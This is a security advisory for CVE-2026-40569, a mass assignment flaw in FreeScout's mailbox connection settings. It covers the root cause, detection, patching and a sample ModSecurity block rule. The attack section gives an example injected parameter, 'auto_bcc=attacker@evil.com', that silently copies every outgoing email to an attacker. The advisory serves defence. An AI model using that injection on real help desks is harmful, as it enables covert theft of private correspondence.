CVE-2026-40569: FreeScout Auth Bypass Vulnerability

CVE-2026-40569 Overview

CVE-2026-40569 is a critical mass assignment vulnerability affecting FreeScout, a popular free self-hosted help desk and shared mailbox application. The vulnerability exists in the mailbox connection settings endpoints where user-controlled input is passed directly to the model's fill() method without proper field allowlisting, enabling authenticated administrators to overwrite security-critical mailbox configuration fields that should not be accessible through the connection settings interface.

Critical Impact

An authenticated admin can silently exfiltrate all outgoing emails by injecting hidden parameters, redirect SMTP traffic through attacker-controlled servers, inject malicious content into email signatures, and enable attacker-crafted auto-replies—all from a single HTTP request with no visible indication to other administrators.

Affected Products

• FreeScout versions prior to 1.8.213
• FreeScout self-hosted help desk installations
• FreeScout shared mailbox deployments

Discovery Timeline

• 2026-04-21 - CVE CVE-2026-40569 published to NVD
• 2026-04-22 - Last updated in NVD database

Technical Details for CVE-2026-40569

Vulnerability Analysis

This vulnerability stems from improper access control (CWE-284) in FreeScout's mailbox connection settings handling. The affected endpoints connectionIncomingSave() at app/Http/Controllers/MailboxesController.php:468 and connectionOutgoingSave() at line 398 both pass $request->all() directly to $mailbox->fill() without implementing any field allowlisting mechanism.

The Mailbox model exposes 32 fields in its $fillable array, including security-critical fields such as auto_bcc, out_server, out_password, signature, auto_reply_enabled, and auto_reply_message. These fields are not intended to be modifiable through the connection settings form but become accessible due to the mass assignment flaw.

The vulnerability is exacerbated by the fact that validation in connectionIncomingSave() is entirely commented out, while the validator in connectionOutgoingSave() only checks value formats for SMTP fields without stripping extra parameters from the request.

Root Cause

The root cause is a classic mass assignment vulnerability pattern where the application accepts all user-supplied parameters and binds them directly to the database model without explicit allowlisting. In Laravel applications like FreeScout, the $fillable array on a model defines which attributes can be mass-assigned, but this protection is undermined when endpoints intended for specific functionality pass the entire request payload without filtering.

The absence of input validation in connectionIncomingSave() and insufficient validation in connectionOutgoingSave() compounds the issue, allowing attackers to inject arbitrary parameters that persist to the database and affect application behavior.

Attack Vector

The attack requires network access and high privileges (authenticated admin user), but exploitation is straightforward and has a changed scope impact due to its ability to affect resources beyond the vulnerable component. An attacker can exploit this by appending hidden parameters to a legitimate connection settings save request.

For example, an attacker could add auto_bcc=attacker@evil.com to a connection settings form submission. Because the auto_bcc field is not displayed on the connection settings form (it only appears on the general mailbox settings page), the injection remains invisible to other administrators reviewing connection settings. Once set, every outgoing email from the affected mailbox is silently BCC'd to the attacker via the SendReplyToCustomer job.

This attack is particularly dangerous in multi-admin environments where one admin can silently surveil mailboxes managed by others. Additionally, if an admin session is compromised via a separate vulnerability (such as XSS), the attacker gains persistent email exfiltration that survives session expiry.

Detection Methods for CVE-2026-40569

Indicators of Compromise

• Unexpected values in mailbox auto_bcc fields pointing to external email addresses
• Modified out_server configurations redirecting SMTP traffic to unknown servers
• Unauthorized changes to signature fields containing tracking pixels or suspicious links
• Enabled auto_reply_enabled flags with suspicious auto_reply_message content
• HTTP POST requests to mailbox connection settings endpoints containing unexpected parameters

Detection Strategies

• Implement database auditing to track changes to Mailbox model fields, particularly auto_bcc, out_server, signature, and auto_reply_enabled
• Monitor HTTP request logs for POST requests to /mailboxes/*/connection-incoming and /mailboxes/*/connection-outgoing endpoints containing parameters outside the expected form fields
• Review web application firewall (WAF) logs for requests with suspicious parameter injection patterns
• Deploy network monitoring to detect SMTP traffic to unexpected external mail servers

Monitoring Recommendations

• Enable comprehensive logging on FreeScout's mailbox configuration endpoints
• Set up alerts for any modifications to mailbox BCC settings outside of the general settings interface
• Monitor outbound email traffic patterns for unexpected BCC recipients or SMTP relay changes
• Implement periodic integrity checks comparing mailbox configurations against known-good baselines

How to Mitigate CVE-2026-40569

Immediate Actions Required

• Upgrade FreeScout to version 1.8.213 or later immediately
• Audit all existing mailbox configurations for unauthorized changes to auto_bcc, out_server, signature, and auto_reply_enabled fields
• Review admin user accounts and revoke any compromised or unnecessary admin privileges
• Implement additional access controls for multi-admin environments

Patch Information

FreeScout has released version 1.8.213 which addresses this vulnerability. The fix can be obtained from the GitHub Release Version 1.8.213. The specific security patch commit implements proper field allowlisting for the affected endpoints. For additional context, refer to the GitHub Security Advisory GHSA-hmqm-33wp-858j.

Workarounds

• Restrict admin access to only trusted personnel until the patch can be applied
• Implement a web application firewall (WAF) rule to block POST requests containing unexpected parameters like auto_bcc, out_server, out_password, signature, auto_reply_enabled, or auto_reply_message to mailbox connection settings endpoints
• Enable database-level triggers or constraints to alert on changes to sensitive Mailbox fields
• Consider placing FreeScout behind an additional authentication layer to reduce attack surface

# Example WAF rule to block suspicious parameters (ModSecurity format)
SecRule REQUEST_URI "@rx /mailboxes/.*/connection-(incoming|outgoing)" \
    "id:100001,phase:2,deny,status:403,\
    chain"
SecRule ARGS_NAMES "@rx ^(auto_bcc|signature|auto_reply_enabled|auto_reply_message)$" \
    "log,msg:'Potential CVE-2026-40569 mass assignment attempt'"